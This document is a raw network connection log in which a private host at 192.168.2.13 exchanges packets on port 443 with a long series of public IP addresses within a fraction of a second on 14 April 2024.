Apr 14, 2024 03:59:49.704843044 CEST	36642	443	192.168.2.13	118.94.26.153
Apr 14, 2024 03:59:49.704910994 CEST	47498	443	192.168.2.13	79.214.172.0
Apr 14, 2024 03:59:49.704926968 CEST	443	47498	79.214.172.0	192.168.2.13
Apr 14, 2024 03:59:49.704936028 CEST	47498	443	192.168.2.13	79.214.172.0
Apr 14, 2024 03:59:49.704940081 CEST	46472	443	192.168.2.13	212.183.58.2
Apr 14, 2024 03:59:49.704960108 CEST	443	46472	212.183.58.2	192.168.2.13
Apr 14, 2024 03:59:49.704966068 CEST	46472	443	192.168.2.13	212.183.58.2
Apr 14, 2024 03:59:49.704979897 CEST	58974	443	192.168.2.13	210.240.39.232
Apr 14, 2024 03:59:49.704991102 CEST	443	58974	210.240.39.232	192.168.2.13
Apr 14, 2024 03:59:49.704989910 CEST	443	47498	79.214.172.0	192.168.2.13
Apr 14, 2024 03:59:49.705009937 CEST	45756	443	192.168.2.13	118.219.25.246
Apr 14, 2024 03:59:49.705018044 CEST	58974	443	192.168.2.13	210.240.39.232
Apr 14, 2024 03:59:49.705035925 CEST	443	45756	118.219.25.246	192.168.2.13
Apr 14, 2024 03:59:49.705048084 CEST	45756	443	192.168.2.13	118.219.25.246
Apr 14, 2024 03:59:49.705048084 CEST	443	58974	210.240.39.232	192.168.2.13
Apr 14, 2024 03:59:49.705058098 CEST	43588	443	192.168.2.13	2.190.166.162
Apr 14, 2024 03:59:49.705059052 CEST	443	46472	212.183.58.2	192.168.2.13
Apr 14, 2024 03:59:49.705058098 CEST	43588	443	192.168.2.13	2.190.166.162
Apr 14, 2024 03:59:49.705058098 CEST	43266	443	192.168.2.13	212.134.29.110
Apr 14, 2024 03:59:49.705077887 CEST	443	43588	2.190.166.162	192.168.2.13
Apr 14, 2024 03:59:49.705097914 CEST	443	43266	212.134.29.110	192.168.2.13
Apr 14, 2024 03:59:49.705106974 CEST	43780	443	192.168.2.13	178.120.59.193
Apr 14, 2024 03:59:49.705111027 CEST	43266	443	192.168.2.13	212.134.29.110
Apr 14, 2024 03:59:49.705133915 CEST	443	43780	178.120.59.193	192.168.2.13
Apr 14, 2024 03:59:49.705144882 CEST	443	43266	212.134.29.110	192.168.2.13
Apr 14, 2024 03:59:49.705152988 CEST	43780	443	192.168.2.13	178.120.59.193
Apr 14, 2024 03:59:49.705154896 CEST	50478	443	192.168.2.13	42.27.114.13
Apr 14, 2024 03:59:49.705154896 CEST	50478	443	192.168.2.13	42.27.114.13
Apr 14, 2024 03:59:49.705162048 CEST	443	43588	2.190.166.162	192.168.2.13
Apr 14, 2024 03:59:49.705168962 CEST	443	50478	42.27.114.13	192.168.2.13
Apr 14, 2024 03:59:49.705184937 CEST	50728	443	192.168.2.13	202.116.139.178
Apr 14, 2024 03:59:49.705184937 CEST	50728	443	192.168.2.13	202.116.139.178
Apr 14, 2024 03:59:49.705197096 CEST	443	50728	202.116.139.178	192.168.2.13
Apr 14, 2024 03:59:49.705209970 CEST	41084	443	192.168.2.13	212.85.242.129
Apr 14, 2024 03:59:49.705209970 CEST	41084	443	192.168.2.13	212.85.242.129
Apr 14, 2024 03:59:49.705225945 CEST	443	41084	212.85.242.129	192.168.2.13
Apr 14, 2024 03:59:49.705230951 CEST	443	50478	42.27.114.13	192.168.2.13
Apr 14, 2024 03:59:49.705233097 CEST	53220	443	192.168.2.13	2.81.60.160
Apr 14, 2024 03:59:49.705250978 CEST	443	53220	2.81.60.160	192.168.2.13
Apr 14, 2024 03:59:49.705256939 CEST	53220	443	192.168.2.13	2.81.60.160
Apr 14, 2024 03:59:49.705271006 CEST	443	41084	212.85.242.129	192.168.2.13
Apr 14, 2024 03:59:49.705274105 CEST	43012	443	192.168.2.13	37.134.90.211
Apr 14, 2024 03:59:49.705281019 CEST	443	43012	37.134.90.211	192.168.2.13
Apr 14, 2024 03:59:49.705292940 CEST	43012	443	192.168.2.13	37.134.90.211
Apr 14, 2024 03:59:49.705315113 CEST	40540	443	192.168.2.13	94.255.61.123
Apr 14, 2024 03:59:49.705327988 CEST	443	50728	202.116.139.178	192.168.2.13
Apr 14, 2024 03:59:49.705329895 CEST	443	40540	94.255.61.123	192.168.2.13
Apr 14, 2024 03:59:49.705331087 CEST	443	43012	37.134.90.211	192.168.2.13
Apr 14, 2024 03:59:49.705342054 CEST	40540	443	192.168.2.13	94.255.61.123
Apr 14, 2024 03:59:49.705346107 CEST	443	43780	178.120.59.193	192.168.2.13
Apr 14, 2024 03:59:49.705355883 CEST	45376	443	192.168.2.13	148.207.129.131
Apr 14, 2024 03:59:49.705363035 CEST	443	53220	2.81.60.160	192.168.2.13
Apr 14, 2024 03:59:49.705368996 CEST	443	45376	148.207.129.131	192.168.2.13
Apr 14, 2024 03:59:49.705380917 CEST	45376	443	192.168.2.13	148.207.129.131
Apr 14, 2024 03:59:49.705399036 CEST	443	45756	118.219.25.246	192.168.2.13
Apr 14, 2024 03:59:49.705406904 CEST	45160	443	192.168.2.13	109.121.242.56
Apr 14, 2024 03:59:49.705413103 CEST	443	40540	94.255.61.123	192.168.2.13
Apr 14, 2024 03:59:49.705415010 CEST	443	45160	109.121.242.56	192.168.2.13
Apr 14, 2024 03:59:49.705423117 CEST	45160	443	192.168.2.13	109.121.242.56
Apr 14, 2024 03:59:49.705436945 CEST	60668	443	192.168.2.13	109.80.145.243
Apr 14, 2024 03:59:49.705440044 CEST	443	45376	148.207.129.131	192.168.2.13
Apr 14, 2024 03:59:49.705446959 CEST	443	60668	109.80.145.243	192.168.2.13
Apr 14, 2024 03:59:49.705457926 CEST	60668	443	192.168.2.13	109.80.145.243
Apr 14, 2024 03:59:49.705466986 CEST	46870	443	192.168.2.13	123.235.167.195
Apr 14, 2024 03:59:49.705466986 CEST	46870	443	192.168.2.13	123.235.167.195
Apr 14, 2024 03:59:49.705476999 CEST	443	46870	123.235.167.195	192.168.2.13
Apr 14, 2024 03:59:49.705477953 CEST	443	45160	109.121.242.56	192.168.2.13
Apr 14, 2024 03:59:49.705499887 CEST	47728	443	192.168.2.13	117.198.161.174
Apr 14, 2024 03:59:49.705517054 CEST	443	60668	109.80.145.243	192.168.2.13
Apr 14, 2024 03:59:49.705522060 CEST	443	47728	117.198.161.174	192.168.2.13
Apr 14, 2024 03:59:49.705523014 CEST	51956	443	192.168.2.13	210.230.202.214
Apr 14, 2024 03:59:49.705539942 CEST	47728	443	192.168.2.13	117.198.161.174
Apr 14, 2024 03:59:49.705540895 CEST	55208	443	192.168.2.13	94.175.18.191
Apr 14, 2024 03:59:49.705542088 CEST	443	51956	210.230.202.214	192.168.2.13
Apr 14, 2024 03:59:49.705552101 CEST	443	55208	94.175.18.191	192.168.2.13
Apr 14, 2024 03:59:49.705558062 CEST	51956	443	192.168.2.13	210.230.202.214
Apr 14, 2024 03:59:49.705569983 CEST	55208	443	192.168.2.13	94.175.18.191
Apr 14, 2024 03:59:49.705583096 CEST	443	47728	117.198.161.174	192.168.2.13
Apr 14, 2024 03:59:49.705585003 CEST	41320	443	192.168.2.13	148.245.181.233
Apr 14, 2024 03:59:49.705590010 CEST	443	55208	94.175.18.191	192.168.2.13
Apr 14, 2024 03:59:49.705594063 CEST	443	41320	148.245.181.233	192.168.2.13
Apr 14, 2024 03:59:49.705595970 CEST	443	51956	210.230.202.214	192.168.2.13
Apr 14, 2024 03:59:49.705600977 CEST	41320	443	192.168.2.13	148.245.181.233
Apr 14, 2024 03:59:49.705615997 CEST	34916	443	192.168.2.13	148.48.157.222
Apr 14, 2024 03:59:49.705620050 CEST	443	46870	123.235.167.195	192.168.2.13
Apr 14, 2024 03:59:49.705637932 CEST	443	34916	148.48.157.222	192.168.2.13
Apr 14, 2024 03:59:49.705651999 CEST	443	41320	148.245.181.233	192.168.2.13
Apr 14, 2024 03:59:49.705655098 CEST	34916	443	192.168.2.13	148.48.157.222
Apr 14, 2024 03:59:49.705662966 CEST	51820	443	192.168.2.13	79.195.184.215
Apr 14, 2024 03:59:49.705662966 CEST	51820	443	192.168.2.13	79.195.184.215
Apr 14, 2024 03:59:49.705677986 CEST	443	51820	79.195.184.215	192.168.2.13
Apr 14, 2024 03:59:49.705686092 CEST	443	34916	148.48.157.222	192.168.2.13
Apr 14, 2024 03:59:49.705699921 CEST	50088	443	192.168.2.13	123.91.178.175
Apr 14, 2024 03:59:49.705699921 CEST	45170	443	192.168.2.13	5.22.208.74
Apr 14, 2024 03:59:49.705701113 CEST	45170	443	192.168.2.13	5.22.208.74
Apr 14, 2024 03:59:49.705717087 CEST	443	51820	79.195.184.215	192.168.2.13
Apr 14, 2024 03:59:49.705718994 CEST	443	45170	5.22.208.74	192.168.2.13
Apr 14, 2024 03:59:49.705719948 CEST	443	50088	123.91.178.175	192.168.2.13
Apr 14, 2024 03:59:49.705730915 CEST	50088	443	192.168.2.13	123.91.178.175
Apr 14, 2024 03:59:49.705740929 CEST	45236	443	192.168.2.13	148.151.123.41
Apr 14, 2024 03:59:49.705740929 CEST	45236	443	192.168.2.13	148.151.123.41
Apr 14, 2024 03:59:49.705754042 CEST	443	45170	5.22.208.74	192.168.2.13
Apr 14, 2024 03:59:49.705760956 CEST	443	45236	148.151.123.41	192.168.2.13
Apr 14, 2024 03:59:49.705763102 CEST	56296	443	192.168.2.13	117.116.70.90
Apr 14, 2024 03:59:49.705773115 CEST	443	56296	117.116.70.90	192.168.2.13
Apr 14, 2024 03:59:49.705785036 CEST	56296	443	192.168.2.13	117.116.70.90
Apr 14, 2024 03:59:49.705786943 CEST	33006	443	192.168.2.13	212.188.38.245
Apr 14, 2024 03:59:49.705786943 CEST	443	50088	123.91.178.175	192.168.2.13
Apr 14, 2024 03:59:49.705791950 CEST	443	45236	148.151.123.41	192.168.2.13
Apr 14, 2024 03:59:49.705805063 CEST	443	33006	212.188.38.245	192.168.2.13
Apr 14, 2024 03:59:49.705818892 CEST	33006	443	192.168.2.13	212.188.38.245
Apr 14, 2024 03:59:49.705825090 CEST	55450	443	192.168.2.13	37.74.171.63
Apr 14, 2024 03:59:49.705825090 CEST	55450	443	192.168.2.13	37.74.171.63
Apr 14, 2024 03:59:49.705837011 CEST	443	56296	117.116.70.90	192.168.2.13
Apr 14, 2024 03:59:49.705840111 CEST	443	55450	37.74.171.63	192.168.2.13
Apr 14, 2024 03:59:49.705854893 CEST	37220	443	192.168.2.13	94.173.13.11
Apr 14, 2024 03:59:49.705854893 CEST	37220	443	192.168.2.13	94.173.13.11
Apr 14, 2024 03:59:49.705866098 CEST	443	33006	212.188.38.245	192.168.2.13
Apr 14, 2024 03:59:49.705872059 CEST	443	37220	94.173.13.11	192.168.2.13
Apr 14, 2024 03:59:49.705879927 CEST	443	55450	37.74.171.63	192.168.2.13
Apr 14, 2024 03:59:49.705905914 CEST	43516	443	192.168.2.13	5.230.64.225
Apr 14, 2024 03:59:49.705905914 CEST	43516	443	192.168.2.13	5.230.64.225
Apr 14, 2024 03:59:49.705914021 CEST	443	37220	94.173.13.11	192.168.2.13
Apr 14, 2024 03:59:49.705928087 CEST	443	43516	5.230.64.225	192.168.2.13
Apr 14, 2024 03:59:49.705929041 CEST	52580	443	192.168.2.13	123.9.26.149
Apr 14, 2024 03:59:49.705929041 CEST	52580	443	192.168.2.13	123.9.26.149
Apr 14, 2024 03:59:49.705943108 CEST	443	52580	123.9.26.149	192.168.2.13
Apr 14, 2024 03:59:49.705955029 CEST	53380	443	192.168.2.13	178.16.227.214
Apr 14, 2024 03:59:49.705955982 CEST	443	43516	5.230.64.225	192.168.2.13
Apr 14, 2024 03:59:49.705967903 CEST	443	53380	178.16.227.214	192.168.2.13
Apr 14, 2024 03:59:49.705971956 CEST	443	52580	123.9.26.149	192.168.2.13
Apr 14, 2024 03:59:49.705981016 CEST	53380	443	192.168.2.13	178.16.227.214
Apr 14, 2024 03:59:49.705998898 CEST	53564	443	192.168.2.13	212.217.88.70
Apr 14, 2024 03:59:49.706017017 CEST	443	53564	212.217.88.70	192.168.2.13
Apr 14, 2024 03:59:49.706037998 CEST	53564	443	192.168.2.13	212.217.88.70
Apr 14, 2024 03:59:49.706041098 CEST	60572	443	192.168.2.13	94.76.173.65
Apr 14, 2024 03:59:49.706052065 CEST	443	60572	94.76.173.65	192.168.2.13
Apr 14, 2024 03:59:49.706057072 CEST	443	53564	212.217.88.70	192.168.2.13
Apr 14, 2024 03:59:49.706065893 CEST	60572	443	192.168.2.13	94.76.173.65
Apr 14, 2024 03:59:49.706067085 CEST	41914	443	192.168.2.13	123.34.45.13
Apr 14, 2024 03:59:49.706073999 CEST	443	41914	123.34.45.13	192.168.2.13
Apr 14, 2024 03:59:49.706075907 CEST	443	53380	178.16.227.214	192.168.2.13
Apr 14, 2024 03:59:49.706087112 CEST	41914	443	192.168.2.13	123.34.45.13
Apr 14, 2024 03:59:49.706099987 CEST	443	41914	123.34.45.13	192.168.2.13
Apr 14, 2024 03:59:49.706114054 CEST	443	60572	94.76.173.65	192.168.2.13
Apr 14, 2024 03:59:49.706125021 CEST	49596	443	192.168.2.13	2.200.126.229
Apr 14, 2024 03:59:49.706125975 CEST	49596	443	192.168.2.13	2.200.126.229
Apr 14, 2024 03:59:49.706131935 CEST	35402	443	192.168.2.13	123.133.74.45
Apr 14, 2024 03:59:49.706140041 CEST	443	49596	2.200.126.229	192.168.2.13
Apr 14, 2024 03:59:49.706149101 CEST	443	35402	123.133.74.45	192.168.2.13
Apr 14, 2024 03:59:49.706163883 CEST	35402	443	192.168.2.13	123.133.74.45
Apr 14, 2024 03:59:49.706167936 CEST	443	49596	2.200.126.229	192.168.2.13
Apr 14, 2024 03:59:49.706171036 CEST	443	35402	123.133.74.45	192.168.2.13
Apr 14, 2024 03:59:49.706175089 CEST	33266	443	192.168.2.13	210.173.199.160
Apr 14, 2024 03:59:49.706175089 CEST	33266	443	192.168.2.13	210.173.199.160
Apr 14, 2024 03:59:49.706190109 CEST	443	33266	210.173.199.160	192.168.2.13
Apr 14, 2024 03:59:49.706228018 CEST	443	33266	210.173.199.160	192.168.2.13
Apr 14, 2024 03:59:49.706239939 CEST	50824	443	192.168.2.13	2.85.102.232
Apr 14, 2024 03:59:49.706239939 CEST	50824	443	192.168.2.13	2.85.102.232
Apr 14, 2024 03:59:49.706247091 CEST	44688	443	192.168.2.13	42.8.50.181
Apr 14, 2024 03:59:49.706254005 CEST	443	50824	2.85.102.232	192.168.2.13
Apr 14, 2024 03:59:49.706258059 CEST	443	44688	42.8.50.181	192.168.2.13
Apr 14, 2024 03:59:49.706269979 CEST	44688	443	192.168.2.13	42.8.50.181
Apr 14, 2024 03:59:49.706295013 CEST	54108	443	192.168.2.13	212.108.107.114
Apr 14, 2024 03:59:49.706295967 CEST	443	44688	42.8.50.181	192.168.2.13
Apr 14, 2024 03:59:49.706306934 CEST	443	50824	2.85.102.232	192.168.2.13
Apr 14, 2024 03:59:49.706309080 CEST	443	54108	212.108.107.114	192.168.2.13
Apr 14, 2024 03:59:49.706319094 CEST	54108	443	192.168.2.13	212.108.107.114
Apr 14, 2024 03:59:49.706335068 CEST	56590	443	192.168.2.13	212.63.52.80
Apr 14, 2024 03:59:49.706335068 CEST	443	54108	212.108.107.114	192.168.2.13
Apr 14, 2024 03:59:49.706335068 CEST	56590	443	192.168.2.13	212.63.52.80
Apr 14, 2024 03:59:49.706352949 CEST	443	56590	212.63.52.80	192.168.2.13
Apr 14, 2024 03:59:49.706372976 CEST	33486	443	192.168.2.13	210.14.25.67
Apr 14, 2024 03:59:49.706372976 CEST	33486	443	192.168.2.13	210.14.25.67
Apr 14, 2024 03:59:49.706387997 CEST	443	33486	210.14.25.67	192.168.2.13
Apr 14, 2024 03:59:49.706418037 CEST	39976	443	192.168.2.13	212.95.236.113
Apr 14, 2024 03:59:49.706418991 CEST	39976	443	192.168.2.13	212.95.236.113
Apr 14, 2024 03:59:49.706418991 CEST	54016	443	192.168.2.13	210.215.122.232
Apr 14, 2024 03:59:49.706434011 CEST	443	39976	212.95.236.113	192.168.2.13
Apr 14, 2024 03:59:49.706449986 CEST	443	54016	210.215.122.232	192.168.2.13
Apr 14, 2024 03:59:49.706465006 CEST	54016	443	192.168.2.13	210.215.122.232
Apr 14, 2024 03:59:49.706465006 CEST	54292	443	192.168.2.13	5.21.98.166
Apr 14, 2024 03:59:49.706465006 CEST	443	56590	212.63.52.80	192.168.2.13
Apr 14, 2024 03:59:49.706479073 CEST	443	54292	5.21.98.166	192.168.2.13
Apr 14, 2024 03:59:49.706485033 CEST	443	39976	212.95.236.113	192.168.2.13
Apr 14, 2024 03:59:49.706489086 CEST	443	54016	210.215.122.232	192.168.2.13
Apr 14, 2024 03:59:49.706504107 CEST	54292	443	192.168.2.13	5.21.98.166
Apr 14, 2024 03:59:49.706505060 CEST	39782	443	192.168.2.13	212.31.141.2
Apr 14, 2024 03:59:49.706516981 CEST	443	39782	212.31.141.2	192.168.2.13
Apr 14, 2024 03:59:49.706527948 CEST	39782	443	192.168.2.13	212.31.141.2
Apr 14, 2024 03:59:49.706528902 CEST	443	33486	210.14.25.67	192.168.2.13
Apr 14, 2024 03:59:49.706536055 CEST	443	54292	5.21.98.166	192.168.2.13
Apr 14, 2024 03:59:49.706543922 CEST	443	39782	212.31.141.2	192.168.2.13
Apr 14, 2024 03:59:49.706556082 CEST	47978	443	192.168.2.13	109.234.205.152
Apr 14, 2024 03:59:49.706556082 CEST	47978	443	192.168.2.13	109.234.205.152
Apr 14, 2024 03:59:49.706567049 CEST	443	47978	109.234.205.152	192.168.2.13
Apr 14, 2024 03:59:49.706577063 CEST	41690	443	192.168.2.13	202.178.0.164
Apr 14, 2024 03:59:49.706593990 CEST	443	47978	109.234.205.152	192.168.2.13
Apr 14, 2024 03:59:49.706595898 CEST	443	41690	202.178.0.164	192.168.2.13
Apr 14, 2024 03:59:49.706599951 CEST	42106	443	192.168.2.13	42.192.177.48
Apr 14, 2024 03:59:49.706609011 CEST	41690	443	192.168.2.13	202.178.0.164
Apr 14, 2024 03:59:49.706618071 CEST	443	42106	42.192.177.48	192.168.2.13
Apr 14, 2024 03:59:49.706631899 CEST	47248	443	192.168.2.13	42.233.250.162
Apr 14, 2024 03:59:49.706640959 CEST	42106	443	192.168.2.13	42.192.177.48
Apr 14, 2024 03:59:49.706643105 CEST	443	47248	42.233.250.162	192.168.2.13
Apr 14, 2024 03:59:49.706664085 CEST	443	41690	202.178.0.164	192.168.2.13
Apr 14, 2024 03:59:49.706666946 CEST	443	47248	42.233.250.162	192.168.2.13
Apr 14, 2024 03:59:49.706675053 CEST	51264	443	192.168.2.13	123.80.52.51
Apr 14, 2024 03:59:49.706675053 CEST	51264	443	192.168.2.13	123.80.52.51
Apr 14, 2024 03:59:49.706684113 CEST	443	51264	123.80.52.51	192.168.2.13
Apr 14, 2024 03:59:49.706691027 CEST	60852	443	192.168.2.13	148.91.176.136
Apr 14, 2024 03:59:49.706698895 CEST	443	42106	42.192.177.48	192.168.2.13
Apr 14, 2024 03:59:49.706707954 CEST	443	60852	148.91.176.136	192.168.2.13
Apr 14, 2024 03:59:49.706720114 CEST	443	51264	123.80.52.51	192.168.2.13
Apr 14, 2024 03:59:49.706721067 CEST	60852	443	192.168.2.13	148.91.176.136
Apr 14, 2024 03:59:49.706736088 CEST	48876	443	192.168.2.13	202.231.225.213
Apr 14, 2024 03:59:49.706748009 CEST	47248	443	192.168.2.13	42.233.250.162
Apr 14, 2024 03:59:49.706757069 CEST	443	48876	202.231.225.213	192.168.2.13
Apr 14, 2024 03:59:49.706758022 CEST	443	60852	148.91.176.136	192.168.2.13
Apr 14, 2024 03:59:49.706763983 CEST	443	47248	42.233.250.162	192.168.2.13
Apr 14, 2024 03:59:49.706768990 CEST	48876	443	192.168.2.13	202.231.225.213
Apr 14, 2024 03:59:49.706775904 CEST	41152	443	192.168.2.13	210.187.211.45
Apr 14, 2024 03:59:49.706789017 CEST	443	41152	210.187.211.45	192.168.2.13
Apr 14, 2024 03:59:49.706794977 CEST	41152	443	192.168.2.13	210.187.211.45
Apr 14, 2024 03:59:49.706795931 CEST	443	48876	202.231.225.213	192.168.2.13
Apr 14, 2024 03:59:49.706815958 CEST	42434	443	192.168.2.13	212.113.46.186
Apr 14, 2024 03:59:49.706829071 CEST	443	42434	212.113.46.186	192.168.2.13
Apr 14, 2024 03:59:49.706839085 CEST	42434	443	192.168.2.13	212.113.46.186
Apr 14, 2024 03:59:49.706840038 CEST	443	41152	210.187.211.45	192.168.2.13
Apr 14, 2024 03:59:49.706856012 CEST	33634	443	192.168.2.13	117.87.253.102
Apr 14, 2024 03:59:49.706856012 CEST	33634	443	192.168.2.13	117.87.253.102
Apr 14, 2024 03:59:49.706870079 CEST	443	33634	117.87.253.102	192.168.2.13
Apr 14, 2024 03:59:49.706870079 CEST	443	42434	212.113.46.186	192.168.2.13
Apr 14, 2024 03:59:49.706883907 CEST	59156	443	192.168.2.13	109.183.31.13
Apr 14, 2024 03:59:49.706883907 CEST	59156	443	192.168.2.13	109.183.31.13
Apr 14, 2024 03:59:49.706897020 CEST	443	59156	109.183.31.13	192.168.2.13
Apr 14, 2024 03:59:49.706902981 CEST	40958	443	192.168.2.13	37.196.42.129
Apr 14, 2024 03:59:49.706912041 CEST	443	33634	117.87.253.102	192.168.2.13
Apr 14, 2024 03:59:49.706912994 CEST	443	40958	37.196.42.129	192.168.2.13
Apr 14, 2024 03:59:49.706931114 CEST	443	59156	109.183.31.13	192.168.2.13
Apr 14, 2024 03:59:49.706931114 CEST	443	40958	37.196.42.129	192.168.2.13
Apr 14, 2024 03:59:49.706933975 CEST	50742	443	192.168.2.13	37.1.211.170
Apr 14, 2024 03:59:49.706945896 CEST	443	50742	37.1.211.170	192.168.2.13
Apr 14, 2024 03:59:49.706958055 CEST	50742	443	192.168.2.13	37.1.211.170
Apr 14, 2024 03:59:49.706959963 CEST	36970	443	192.168.2.13	42.250.253.23
Apr 14, 2024 03:59:49.706968069 CEST	443	50742	37.1.211.170	192.168.2.13
Apr 14, 2024 03:59:49.706970930 CEST	443	36970	42.250.253.23	192.168.2.13
Apr 14, 2024 03:59:49.706979990 CEST	40958	443	192.168.2.13	37.196.42.129
Apr 14, 2024 03:59:49.706981897 CEST	36970	443	192.168.2.13	42.250.253.23
Apr 14, 2024 03:59:49.706984997 CEST	443	40958	37.196.42.129	192.168.2.13
Apr 14, 2024 03:59:49.707007885 CEST	35566	443	192.168.2.13	42.122.27.181
Apr 14, 2024 03:59:49.707016945 CEST	443	35566	42.122.27.181	192.168.2.13
Apr 14, 2024 03:59:49.707027912 CEST	35566	443	192.168.2.13	42.122.27.181
Apr 14, 2024 03:59:49.707039118 CEST	42246	443	192.168.2.13	148.173.98.115
Apr 14, 2024 03:59:49.707051992 CEST	443	35566	42.122.27.181	192.168.2.13
Apr 14, 2024 03:59:49.707053900 CEST	443	42246	148.173.98.115	192.168.2.13
Apr 14, 2024 03:59:49.707060099 CEST	443	36970	42.250.253.23	192.168.2.13
Apr 14, 2024 03:59:49.707073927 CEST	42246	443	192.168.2.13	148.173.98.115
Apr 14, 2024 03:59:49.707073927 CEST	54890	443	192.168.2.13	123.225.121.89
Apr 14, 2024 03:59:49.707073927 CEST	54890	443	192.168.2.13	123.225.121.89
Apr 14, 2024 03:59:49.707096100 CEST	443	54890	123.225.121.89	192.168.2.13
Apr 14, 2024 03:59:49.707097054 CEST	41378	443	192.168.2.13	148.128.237.13
Apr 14, 2024 03:59:49.707108974 CEST	443	41378	148.128.237.13	192.168.2.13
Apr 14, 2024 03:59:49.707110882 CEST	443	42246	148.173.98.115	192.168.2.13
Apr 14, 2024 03:59:49.707117081 CEST	59346	443	192.168.2.13	123.175.9.107
Apr 14, 2024 03:59:49.707122087 CEST	443	54890	123.225.121.89	192.168.2.13
Apr 14, 2024 03:59:49.707137108 CEST	443	59346	123.175.9.107	192.168.2.13
Apr 14, 2024 03:59:49.707139969 CEST	41378	443	192.168.2.13	148.128.237.13
Apr 14, 2024 03:59:49.707161903 CEST	47986	443	192.168.2.13	123.59.192.17
Apr 14, 2024 03:59:49.707161903 CEST	47986	443	192.168.2.13	123.59.192.17
Apr 14, 2024 03:59:49.707169056 CEST	59346	443	192.168.2.13	123.175.9.107
Apr 14, 2024 03:59:49.707176924 CEST	443	47986	123.59.192.17	192.168.2.13
Apr 14, 2024 03:59:49.707189083 CEST	37864	443	192.168.2.13	5.195.132.245
Apr 14, 2024 03:59:49.707189083 CEST	37864	443	192.168.2.13	5.195.132.245
Apr 14, 2024 03:59:49.707200050 CEST	443	37864	5.195.132.245	192.168.2.13
Apr 14, 2024 03:59:49.707221985 CEST	55992	443	192.168.2.13	94.76.201.160
Apr 14, 2024 03:59:49.707221985 CEST	55992	443	192.168.2.13	94.76.201.160
Apr 14, 2024 03:59:49.707236052 CEST	443	55992	94.76.201.160	192.168.2.13
Apr 14, 2024 03:59:49.707247019 CEST	52510	443	192.168.2.13	210.197.108.243
Apr 14, 2024 03:59:49.707247019 CEST	52510	443	192.168.2.13	210.197.108.243
Apr 14, 2024 03:59:49.707256079 CEST	443	59346	123.175.9.107	192.168.2.13
Apr 14, 2024 03:59:49.707258940 CEST	443	52510	210.197.108.243	192.168.2.13
Apr 14, 2024 03:59:49.707273006 CEST	34960	443	192.168.2.13	5.180.102.50
Apr 14, 2024 03:59:49.707273006 CEST	34960	443	192.168.2.13	5.180.102.50
Apr 14, 2024 03:59:49.707273960 CEST	44148	443	192.168.2.13	178.129.77.173
Apr 14, 2024 03:59:49.707272053 CEST	443	41378	148.128.237.13	192.168.2.13
Apr 14, 2024 03:59:49.707281113 CEST	443	44148	178.129.77.173	192.168.2.13
Apr 14, 2024 03:59:49.707288027 CEST	443	55992	94.76.201.160	192.168.2.13
Apr 14, 2024 03:59:49.707293034 CEST	443	52510	210.197.108.243	192.168.2.13
Apr 14, 2024 03:59:49.707299948 CEST	44148	443	192.168.2.13	178.129.77.173
Apr 14, 2024 03:59:49.707310915 CEST	443	34960	5.180.102.50	192.168.2.13
Apr 14, 2024 03:59:49.707323074 CEST	55224	443	192.168.2.13	2.239.172.172
Apr 14, 2024 03:59:49.707334995 CEST	443	55224	2.239.172.172	192.168.2.13
Apr 14, 2024 03:59:49.707354069 CEST	55224	443	192.168.2.13	2.239.172.172
Apr 14, 2024 03:59:49.707355976 CEST	41688	443	192.168.2.13	5.189.239.166
Apr 14, 2024 03:59:49.707355976 CEST	41688	443	192.168.2.13	5.189.239.166
Apr 14, 2024 03:59:49.707357883 CEST	443	47986	123.59.192.17	192.168.2.13
Apr 14, 2024 03:59:49.707367897 CEST	443	41688	5.189.239.166	192.168.2.13
Apr 14, 2024 03:59:49.707372904 CEST	443	55224	2.239.172.172	192.168.2.13
Apr 14, 2024 03:59:49.707381010 CEST	52178	443	192.168.2.13	202.245.19.146
Apr 14, 2024 03:59:49.707401037 CEST	443	52178	202.245.19.146	192.168.2.13
Apr 14, 2024 03:59:49.707406998 CEST	443	37864	5.195.132.245	192.168.2.13
Apr 14, 2024 03:59:49.707420111 CEST	52178	443	192.168.2.13	202.245.19.146
Apr 14, 2024 03:59:49.707425117 CEST	36302	443	192.168.2.13	2.118.247.109
Apr 14, 2024 03:59:49.707425117 CEST	36302	443	192.168.2.13	2.118.247.109
Apr 14, 2024 03:59:49.707433939 CEST	443	52178	202.245.19.146	192.168.2.13
Apr 14, 2024 03:59:49.707434893 CEST	443	36302	2.118.247.109	192.168.2.13
Apr 14, 2024 03:59:49.707453012 CEST	53556	443	192.168.2.13	37.26.68.69
Apr 14, 2024 03:59:49.707461119 CEST	443	53556	37.26.68.69	192.168.2.13
Apr 14, 2024 03:59:49.707464933 CEST	443	41688	5.189.239.166	192.168.2.13
Apr 14, 2024 03:59:49.707473993 CEST	53556	443	192.168.2.13	37.26.68.69
Apr 14, 2024 03:59:49.707500935 CEST	60586	443	192.168.2.13	123.67.102.246
Apr 14, 2024 03:59:49.707504034 CEST	443	44148	178.129.77.173	192.168.2.13
Apr 14, 2024 03:59:49.707519054 CEST	443	60586	123.67.102.246	192.168.2.13
Apr 14, 2024 03:59:49.707525969 CEST	60586	443	192.168.2.13	123.67.102.246
Apr 14, 2024 03:59:49.707526922 CEST	41030	443	192.168.2.13	118.165.57.51
Apr 14, 2024 03:59:49.707531929 CEST	443	36302	2.118.247.109	192.168.2.13
Apr 14, 2024 03:59:49.707537889 CEST	443	41030	118.165.57.51	192.168.2.13
Apr 14, 2024 03:59:49.707539082 CEST	443	53556	37.26.68.69	192.168.2.13
Apr 14, 2024 03:59:49.707559109 CEST	41030	443	192.168.2.13	118.165.57.51
Apr 14, 2024 03:59:49.707580090 CEST	443	34960	5.180.102.50	192.168.2.13
Apr 14, 2024 03:59:49.707587004 CEST	46300	443	192.168.2.13	202.60.117.147
Apr 14, 2024 03:59:49.707587004 CEST	46300	443	192.168.2.13	202.60.117.147
Apr 14, 2024 03:59:49.707602024 CEST	443	41030	118.165.57.51	192.168.2.13
Apr 14, 2024 03:59:49.707607985 CEST	443	46300	202.60.117.147	192.168.2.13
Apr 14, 2024 03:59:49.707628965 CEST	44762	443	192.168.2.13	42.254.35.163
Apr 14, 2024 03:59:49.707629919 CEST	443	60586	123.67.102.246	192.168.2.13
Apr 14, 2024 03:59:49.707628965 CEST	44762	443	192.168.2.13	42.254.35.163
Apr 14, 2024 03:59:49.707636118 CEST	443	46300	202.60.117.147	192.168.2.13
Apr 14, 2024 03:59:49.707643986 CEST	45854	443	192.168.2.13	94.208.217.90
Apr 14, 2024 03:59:49.707643986 CEST	443	44762	42.254.35.163	192.168.2.13
Apr 14, 2024 03:59:49.707657099 CEST	443	45854	94.208.217.90	192.168.2.13
Apr 14, 2024 03:59:49.707669973 CEST	45854	443	192.168.2.13	94.208.217.90
